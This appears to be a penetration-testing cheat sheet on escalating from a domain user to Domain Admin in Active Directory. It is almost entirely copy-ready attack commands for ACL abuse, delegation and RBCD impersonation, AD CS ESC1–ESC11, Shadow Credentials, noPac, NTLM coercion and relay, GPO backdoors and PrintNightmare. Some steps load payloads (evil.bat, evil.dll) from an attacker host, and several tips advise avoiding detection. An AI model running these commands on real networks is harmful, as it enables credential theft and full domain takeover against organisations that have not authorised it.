Privilege Escalation

You have a foothold. Now escalate from a low-privilege domain user to Domain Admin (or equivalent). ACL abuse, delegation attacks, AD CS, Shadow Credentials, and coercion chains.

Sections Privilege Escalation

ACL Abuse

GenericAll on User

Full control over a user. Reset their password or set an SPN for kerberoasting. [LDAP] [Requires GenericAll on target user]

Force password change.

terminal.log
root@localhost:~# bloodyAD -u <USER> -p <PASS> -d <DOMAIN_FQDN> --host <DC_IP> set password <TARGET_USER> 'NewPassword123!'

Set SPN for targeted kerberoasting.

terminal.log
# Set SPN
root@localhost:~# bloodyAD -u <USER> -p <PASS> -d <DOMAIN_FQDN> --host <DC_IP> set object <TARGET_USER> servicePrincipalName -v 'MSSQLSvc/fake.domain.local:1433'

# Roast it
root@localhost:~# impacket-GetUserSPNs <DOMAIN>/<USER>:<PASS> -dc-ip <DC_IP> -request-user <TARGET_USER> -outputfile targeted_hash.txt

# Clean up
root@localhost:~# bloodyAD -u <USER> -p <PASS> -d <DOMAIN_FQDN> --host <DC_IP> set object <TARGET_USER> servicePrincipalName

Set Shadow Credentials on the target. [Requires ADCS + PKINIT]

terminal.log
root@localhost:~# python3 pywhisker.py -u <USER> -p <PASS> -d <DOMAIN_FQDN> --dc-ip <DC_IP> -t <TARGET_USER> --action add

GenericAll on Group

Add yourself (or a controlled account) to a privileged group. [LDAP] [Requires GenericAll on target group]

terminal.log
root@localhost:~# bloodyAD -u <USER> -p <PASS> -d <DOMAIN_FQDN> --host <DC_IP> add groupMember '<TARGET_GROUP>' <USER>
Tip
Adding yourself to “Domain Admins” is loud. Consider adding to less-monitored groups like “Backup Operators”, “Server Operators”, or “DNS Admins” first.

GenericAll on Computer

Set RBCD on the computer to impersonate any user to it. [LDAP] [Kerberos] [Requires GenericAll on target computer]

terminal.log
# Create a machine account (if MachineAccountQuota > 0)
root@localhost:~# impacket-addcomputer <DOMAIN>/<USER>:<PASS> -computer-name FAKE01$ -computer-pass 'FakePass123!' -dc-ip <DC_IP>

# Set RBCD
root@localhost:~# bloodyAD -u <USER> -p <PASS> -d <DOMAIN_FQDN> --host <DC_IP> add rbcd <TARGET_COMPUTER>$ FAKE01$

# Impersonate Administrator
root@localhost:~# impacket-getST <DOMAIN>/FAKE01$:'FakePass123!' -spn cifs/<TARGET_FQDN> -impersonate Administrator -dc-ip <DC_IP>
root@localhost:~# export KRB5CCNAME=Administrator@cifs_<TARGET_FQDN>@<DOMAIN>.ccache
root@localhost:~# impacket-psexec <DOMAIN>/Administrator@<TARGET_FQDN> -k -no-pass

GenericWrite

Write attributes on an object. Common abuses: set SPN, modify logon script, set Shadow Credentials, set RBCD. [LDAP] [Requires GenericWrite on target]

Set Shadow Credentials.

terminal.log
root@localhost:~# python3 pywhisker.py -u <USER> -p <PASS> -d <DOMAIN_FQDN> --dc-ip <DC_IP> -t <TARGET_USER> --action add

Set a logon script (executes next time the user logs in).

terminal.log
root@localhost:~# bloodyAD -u <USER> -p <PASS> -d <DOMAIN_FQDN> --host <DC_IP> set object <TARGET_USER> scriptPath -v '\<ATTACKER_IP>\share\evil.bat'

WriteDACL

Modify the DACL to grant yourself GenericAll. [LDAP] [Requires WriteDACL on target]

terminal.log
root@localhost:~# bloodyAD -u <USER> -p <PASS> -d <DOMAIN_FQDN> --host <DC_IP> add genericAll '<TARGET_DN>' <USER>

Then abuse the newly granted GenericAll (password reset, RBCD, Shadow Creds, etc.).

WriteOwner

Take ownership of an object, then modify its DACL. [LDAP] [Requires WriteOwner on target]

terminal.log
# Take ownership
root@localhost:~# bloodyAD -u <USER> -p <PASS> -d <DOMAIN_FQDN> --host <DC_IP> set owner '<TARGET_DN>' <USER>

# Grant yourself GenericAll
root@localhost:~# bloodyAD -u <USER> -p <PASS> -d <DOMAIN_FQDN> --host <DC_IP> add genericAll '<TARGET_DN>' <USER>

ForceChangePassword

Change a user’s password without knowing the current one. [LDAP] [Requires ForceChangePassword on target]

terminal.log
root@localhost:~# bloodyAD -u <USER> -p <PASS> -d <DOMAIN_FQDN> --host <DC_IP> set password <TARGET_USER> 'NewPassword123!'

AddSelf / AddMember

Add yourself to a group. [LDAP] [Requires AddSelf/AddMember on target group]

terminal.log
root@localhost:~# bloodyAD -u <USER> -p <PASS> -d <DOMAIN_FQDN> --host <DC_IP> add groupMember '<TARGET_GROUP>' <USER>
Tip
Always cross-reference your ACL findings with BloodHound CE. The “Shortest Path to Domain Admin” query will highlight the exact chain you need to abuse.

Kerberos Delegation Abuse

Unconstrained Delegation

A computer with unconstrained delegation caches the TGT of any user that authenticates to it. Coerce a DC to authenticate and steal its TGT. [Kerberos] [Requires compromised unconstrained delegation host]

From Windows (Rubeus).

terminal.log
# Monitor for incoming TGTs
PS C:\> .\Rubeus.exe monitor /interval:5 /nowrap

# Coerce DC auth (from another terminal)
# Use PetitPotam, PrinterBug, etc.
# Inject the captured TGT
PS C:\> .\Rubeus.exe ptt /ticket:<BASE64_TICKET>

From Linux (krbrelayx).

terminal.log
# Start listening for TGTs (need the machine account hash)
root@localhost:~# python3 krbrelayx.py -hashes :<MACHINE_HASH>

# Coerce the DC
root@localhost:~# python3 PetitPotam.py -u <USER> -p <PASS> -d <DOMAIN> <COMPROMISED_HOST_IP> <DC_IP>

# Use the captured DC TGT
root@localhost:~# export KRB5CCNAME=<DC_HOSTNAME>.ccache
root@localhost:~# impacket-secretsdump -k -no-pass <DC_FQDN>
Tip
Unconstrained delegation + coercion = instant domain compromise. If you find a host with unconstrained delegation that you can control, you’re one coercion away from DCSync.

Constrained Delegation

The account is allowed to impersonate users to specific services via S4U2Self + S4U2Proxy. [Kerberos] [Requires compromised constrained delegation account]

terminal.log
# Get TGT for the delegating account
root@localhost:~# impacket-getTGT <DOMAIN>/<SERVICE_ACCOUNT>:<PASS> -dc-ip <DC_IP>

# S4U2Self + S4U2Proxy to impersonate Administrator
root@localhost:~# export KRB5CCNAME=<SERVICE_ACCOUNT>.ccache

root@localhost:~# impacket-getST <DOMAIN>/<SERVICE_ACCOUNT>:<PASS> -spn <ALLOWED_SPN> -impersonate Administrator -dc-ip <DC_IP>

# Use the impersonated ticket
root@localhost:~# export KRB5CCNAME=Administrator@<ALLOWED_SPN>@<DOMAIN>.ccache
root@localhost:~# impacket-psexec <DOMAIN>/Administrator@<TARGET_FQDN> -k -no-pass

With hash.

terminal.log
root@localhost:~# impacket-getST <DOMAIN>/<SERVICE_ACCOUNT> -hashes :<HASH> -spn <ALLOWED_SPN> -impersonate Administrator -dc-ip <DC_IP>
Tip
The SPN in the resulting ticket can sometimes be changed to target a different service on the same host (e.g., change HTTP/target to CIFS/target). This is known as SPN modification and works because the service portion of the ticket isn’t always validated.

Resource-Based Constrained Delegation (RBCD)

Write msDS-AllowedToActOnBehalfOfOtherIdentity on a target computer, then impersonate any user to it. [LDAP] [Kerberos] [Requires write access on target computer object]

terminal.log
# Create a machine account (if MachineAccountQuota > 0)
root@localhost:~# impacket-addcomputer <DOMAIN>/<USER>:<PASS> -computer-name FAKE01$ -computer-pass 'FakePass123!' -dc-ip <DC_IP>

# Set RBCD on target
root@localhost:~# bloodyAD -u <USER> -p <PASS> -d <DOMAIN_FQDN> --host <DC_IP> add rbcd <TARGET_COMPUTER>$ FAKE01$

# Get impersonated ticket
root@localhost:~# impacket-getST <DOMAIN>/FAKE01$:'FakePass123!' -spn cifs/<TARGET_FQDN> -impersonate Administrator -dc-ip <DC_IP>

# Use it
root@localhost:~# export KRB5CCNAME=Administrator@cifs_<TARGET_FQDN>@<DOMAIN>.ccache
root@localhost:~# impacket-psexec <DOMAIN>/Administrator@<TARGET_FQDN> -k -no-pass

Clean up RBCD after.

terminal.log
root@localhost:~# bloodyAD -u <USER> -p <PASS> -d <DOMAIN_FQDN> --host <DC_IP> remove rbcd <TARGET_COMPUTER>$ FAKE01$

Clean up the machine account.

terminal.log
root@localhost:~# impacket-addcomputer <DOMAIN>/<USER>:<PASS> -computer-name FAKE01$ -computer-pass 'FakePass123!' -dc-ip <DC_IP> -delete
Tip
RBCD is the most versatile delegation attack. You can trigger it through: direct ACL abuse (GenericAll/GenericWrite on the computer), relay attacks (ntlmrelayx –delegate-access), or IPv6 poisoning (mitm6 + ntlmrelayx).

AD CS Abuse

ESC1 (Misconfigured Certificate Template)

Template allows enrollee to supply a Subject Alternative Name (SAN). Request a cert as any user. [AD CS]

terminal.log
root@localhost:~# certipy req -u <USER>@<DOMAIN_FQDN> -p <PASS> -dc-ip <DC_IP> -ca <CA_NAME> -template <VULN_TEMPLATE> -upn Administrator@<DOMAIN_FQDN>

Authenticate with the cert.

terminal.log
root@localhost:~# certipy auth -pfx administrator.pfx -dc-ip <DC_IP>

ESC2 (Any Purpose Template)

Template has “Any Purpose” EKU or no EKU at all.

terminal.log
root@localhost:~# certipy req -u <USER>@<DOMAIN_FQDN> -p <PASS> -dc-ip <DC_IP> -ca <CA_NAME> -template <VULN_TEMPLATE>
root@localhost:~# certipy auth -pfx <USER>.pfx -dc-ip <DC_IP>

ESC3 (Enrollment Agent Template)

Request an enrollment agent cert, then use it to request on behalf of another user.

terminal.log
# Get enrollment agent cert
root@localhost:~# certipy req -u <USER>@<DOMAIN_FQDN> -p <PASS> -dc-ip <DC_IP> -ca <CA_NAME> -template <ENROLLMENT_AGENT_TEMPLATE>

# Request on behalf of Administrator
root@localhost:~# certipy req -u <USER>@<DOMAIN_FQDN> -p <PASS> -dc-ip <DC_IP> -ca <CA_NAME> -template User -on-behalf-of '<DOMAIN>\Administrator' -pfx enrollment_agent.pfx

ESC4 (Vulnerable Template ACLs)

You have write access to a certificate template. Modify it to enable ESC1 conditions.

terminal.log
# Save original and modify template
root@localhost:~# certipy template -u <USER>@<DOMAIN_FQDN> -p <PASS> -dc-ip <DC_IP> -template <TEMPLATE_NAME> -save-old
root@localhost:~# # Exploit as ESC1
root@localhost:~# certipy req -u <USER>@<DOMAIN_FQDN> -p <PASS> -dc-ip <DC_IP> -ca <CA_NAME> -template <TEMPLATE_NAME> -upn Administrator@<DOMAIN_FQDN>

# Restore original template config
root@localhost:~# certipy template -u <USER>@<DOMAIN_FQDN> -p <PASS> -dc-ip <DC_IP> -template <TEMPLATE_NAME> -configuration <TEMPLATE_NAME>.json
Tip
Always restore the template after exploitation. Leaving a modified template is a dead giveaway.

ESC6 (EDITF_ATTRIBUTESUBJECTALTNAME2 on CA)

CA has the flag enabled, so any template can include SANs.

terminal.log
root@localhost:~# certipy req -u <USER>@<DOMAIN_FQDN> -p <PASS> -dc-ip <DC_IP> -ca <CA_NAME> -template User -upn Administrator@<DOMAIN_FQDN>

ESC7 (Vulnerable CA ACLs)

You have ManageCA or ManageCertificates rights on the CA.

terminal.log
# Add yourself as an officer
root@localhost:~# certipy ca -u <USER>@<DOMAIN_FQDN> -p <PASS> -dc-ip <DC_IP> -ca <CA_NAME> -add-officer <USER>

# Enable SubCA template
root@localhost:~# certipy ca -u <USER>@<DOMAIN_FQDN> -p <PASS> -dc-ip <DC_IP> -ca <CA_NAME> -enable-template SubCA

# Request (will be denied initially)
root@localhost:~# certipy req -u <USER>@<DOMAIN_FQDN> -p <PASS> -dc-ip <DC_IP> -ca <CA_NAME> -template SubCA -upn Administrator@<DOMAIN_FQDN>

# Approve the denied request
root@localhost:~# certipy ca -u <USER>@<DOMAIN_FQDN> -p <PASS> -dc-ip <DC_IP> -ca <CA_NAME> -issue-request <REQUEST_ID>

# Retrieve the cert
root@localhost:~# certipy req -u <USER>@<DOMAIN_FQDN> -p <PASS> -dc-ip <DC_IP> -ca <CA_NAME> -retrieve <REQUEST_ID>

ESC8 (NTLM Relay to AD CS HTTP Enrollment)

Relay captured NTLM auth to the CA’s web enrollment endpoint. [AD CS] [NTLM Relay]

terminal.log
# Set up relay
root@localhost:~# impacket-ntlmrelayx -t http://<CA_IP>/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

# Coerce a DC
root@localhost:~# python3 PetitPotam.py <LISTENER_IP> <DC_IP>

# Authenticate with the obtained cert
root@localhost:~# certipy auth -pfx dc.pfx -dc-ip <DC_IP>

ESC9 (No Security Extension / CT_FLAG_NO_SECURITY_EXTENSION)

StrongCertificateBindingEnforcement is not set to 2, and the template has CT_FLAG_NO_SECURITY_EXTENSION.

terminal.log
# Change the target's UPN to Administrator
root@localhost:~# certipy account update -u <USER>@<DOMAIN_FQDN> -p <PASS> -user <TARGET_USER> -upn Administrator

# Request cert as target (the cert won't contain the new SID)
root@localhost:~# certipy req -u <TARGET_USER>@<DOMAIN_FQDN> -p <TARGET_PASS> -dc-ip <DC_IP> -ca <CA_NAME> -template <VULN_TEMPLATE>

# Restore the UPN
root@localhost:~# certipy account update -u <USER>@<DOMAIN_FQDN> -p <PASS> -user <TARGET_USER> -upn <TARGET_USER>@<DOMAIN_FQDN>

# Auth as Administrator
root@localhost:~# certipy auth -pfx administrator.pfx -domain <DOMAIN_FQDN> -dc-ip <DC_IP>

ESC10 (Weak Certificate Mapping)

CertificateMappingMethods includes UPN mapping (0x4) and StrongCertificateBindingEnforcement is 0 or 1.

terminal.log
# Change target's UPN to Administrator (need GenericWrite on target)
root@localhost:~# certipy account update -u <USER>@<DOMAIN_FQDN> -p <PASS> -user <TARGET_USER> -upn Administrator

# Request cert
root@localhost:~# certipy req -u <TARGET_USER>@<DOMAIN_FQDN> -p <TARGET_PASS> -dc-ip <DC_IP> -ca <CA_NAME> -template <TEMPLATE>

# Restore UPN
root@localhost:~# certipy account update -u <USER>@<DOMAIN_FQDN> -p <PASS> -user <TARGET_USER> -upn <TARGET_USER>@<DOMAIN_FQDN>

# Auth
root@localhost:~# certipy auth -pfx administrator.pfx -domain <DOMAIN_FQDN> -dc-ip <DC_IP>

ESC11 (NTLM Relay to AD CS via RPC/ICPR)

Same as ESC8 but via the RPC certificate enrollment interface instead of HTTP. [AD CS] [NTLM Relay]

terminal.log
# Relay via RPC
root@localhost:~# certipy relay -ca <CA_IP> -template DomainController

# Coerce
root@localhost:~# python3 PetitPotam.py <LISTENER_IP> <DC_IP>
Tip
Run certipy find -vulnerable to identify which ESC scenarios apply. The output tells you exactly which templates and CAs are vulnerable and why.

Shadow Credentials

Set msDS-KeyCredentialLink on a target to authenticate as them via PKINIT. [LDAP] [Kerberos] [Requires write access on target's msDS-KeyCredentialLink]

terminal.log
# Add shadow credential
root@localhost:~# python3 pywhisker.py -u <USER> -p <PASS> -d <DOMAIN_FQDN> --dc-ip <DC_IP> -t <TARGET_USER> --action add

Note: pywhisker outputs a .pfx file and password. Save both.

Authenticate with PKINITtools.

terminal.log
# Get TGT using the cert
root@localhost:~# python3 gettgtpkinit.py <DOMAIN_FQDN>/<TARGET_USER> -cert-pfx <GENERATED>.pfx -pfx-pass <PFX_PASS> <TARGET_USER>.ccache

# Extract NT hash from the TGT
root@localhost:~# export KRB5CCNAME=<TARGET_USER>.ccache
root@localhost:~# python3 getnthash.py <DOMAIN_FQDN>/<TARGET_USER> -key <AS-REP_KEY>

Clean up (remove the shadow credential).

terminal.log
root@localhost:~# python3 pywhisker.py -u <USER> -p <PASS> -d <DOMAIN_FQDN> --dc-ip <DC_IP> -t <TARGET_USER> --action remove -D <DEVICE_ID>

List existing shadow credentials on a target.

terminal.log
root@localhost:~# python3 pywhisker.py -u <USER> -p <PASS> -d <DOMAIN_FQDN> --dc-ip <DC_IP> -t <TARGET_USER> --action list
Tip
Shadow Credentials require AD CS with PKINIT support in the environment. If there’s no CA, this won’t work. Check with certipy find first.

sAMAccountName Spoofing (noPac)

Exploit CVE-2021-42278 / CVE-2021-42287 to impersonate a DC. [Kerberos]

Dump hashes.

terminal.log
root@localhost:~# python3 noPac.py <DOMAIN>/<USER>:<PASS> -dc-ip <DC_IP> -dc-host <DC_HOSTNAME> --impersonate Administrator -dump

Get a shell.

terminal.log
root@localhost:~# python3 noPac.py <DOMAIN>/<USER>:<PASS> -dc-ip <DC_IP> -dc-host <DC_HOSTNAME> --impersonate Administrator -shell
Tip
noPac works if MachineAccountQuota >= 1 and the DC is unpatched. It’s a one-shot to DA from any domain user.

Coercion + Relay Chains

The general pattern: coerce a machine to authenticate to your listener, then relay that auth to achieve a specific outcome.

Coercion -> RBCD

terminal.log
# Set up relay to create RBCD
root@localhost:~# impacket-ntlmrelayx -t ldap://<DC_IP> --delegate-access --escalate-user FAKE01$ -smb2support

# Coerce target
root@localhost:~# coercer coerce -u <USER> -p <PASS> -d <DOMAIN_FQDN> -l <LISTENER_IP> -t <TARGET>

# Then exploit RBCD (see delegation section above)
root@localhost:~# impacket-getST <DOMAIN>/FAKE01$:'FakePass123!' -spn cifs/<TARGET_FQDN> -impersonate Administrator -dc-ip <DC_IP>

Coercion -> Shadow Credentials

terminal.log
# Relay to set shadow creds
root@localhost:~# impacket-ntlmrelayx -t ldap://<DC_IP> --shadow-credentials --shadow-target <TARGET>$ -smb2support

# Coerce
root@localhost:~# coercer coerce -u <USER> -p <PASS> -d <DOMAIN_FQDN> -l <LISTENER_IP> -t <TARGET>

# Auth with the output cert via PKINITtools
root@localhost:~# python3 gettgtpkinit.py <DOMAIN_FQDN>/<TARGET>$ -cert-pfx <OUTPUT>.pfx -pfx-pass <PFX_PASS> <TARGET>.ccache

Coercion -> ADCS (ESC8)

terminal.log
# Relay to CA
root@localhost:~# impacket-ntlmrelayx -t http://<CA_IP>/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

# Coerce DC
root@localhost:~# python3 PetitPotam.py <LISTENER_IP> <DC_IP>

# Auth with cert
root@localhost:~# certipy auth -pfx dc.pfx -dc-ip <DC_IP>
Tip
Always have the relay listener running before triggering coercion. The auth attempt is a one-shot per trigger.

GPO Abuse

If you have write access to a GPO linked to a target OU. [Requires write access on GPO]

Create an immediate scheduled task via GPO (using SharpGPOAbuse from Windows).

terminal.log
PS C:\> .\SharpGPOAbuse.exe --AddComputerTask --TaskName "Backdoor" --Author '<DOMAIN><USER>' --Command "cmd.exe" --Arguments "/c net localgroup administrators <USER> /add" --GPOName "<GPO_NAME>"
Tip
GPO changes can take up to 90 minutes to apply (default refresh interval). Force an immediate update on the target with gpupdate /force if you have access.

LAPS Abuse

If you can read LAPS passwords (identified during authenticated enumeration). [LDAP]

terminal.log
root@localhost:~# nxc ldap <DC_IP> -u <USER> -p <PASS> -M laps

Use the retrieved local admin password.

terminal.log
root@localhost:~# nxc smb <TARGET> -u Administrator -p '<LAPS_PASSWORD>' --local-auth
root@localhost:~# evil-winrm -i <TARGET> -u Administrator -p '<LAPS_PASSWORD>'
Tip
LAPS passwords are unique per machine. The password you read is for that specific computer’s local Administrator account.

PrintNightmare (CVE-2021-1675 / CVE-2021-34527)

Remote code execution via the Print Spooler service. [Requires Spooler running on target]

terminal.log
# Host a malicious DLL on an SMB share
root@localhost:~# impacket-smbserver share . -smb2support

# Trigger PrintNightmare
root@localhost:~# python3 CVE-2021-1675.py <DOMAIN>/<USER>:<PASS>@<TARGET> '\<ATTACKER_IP>\share\evil.dll'
Tip
Largely patched, but older environments may still be vulnerable. Check if the Spooler service is running first (rpcclient -U '<DOMAIN>\<USER>%<PASS>' <TARGET> -c 'enumprinters').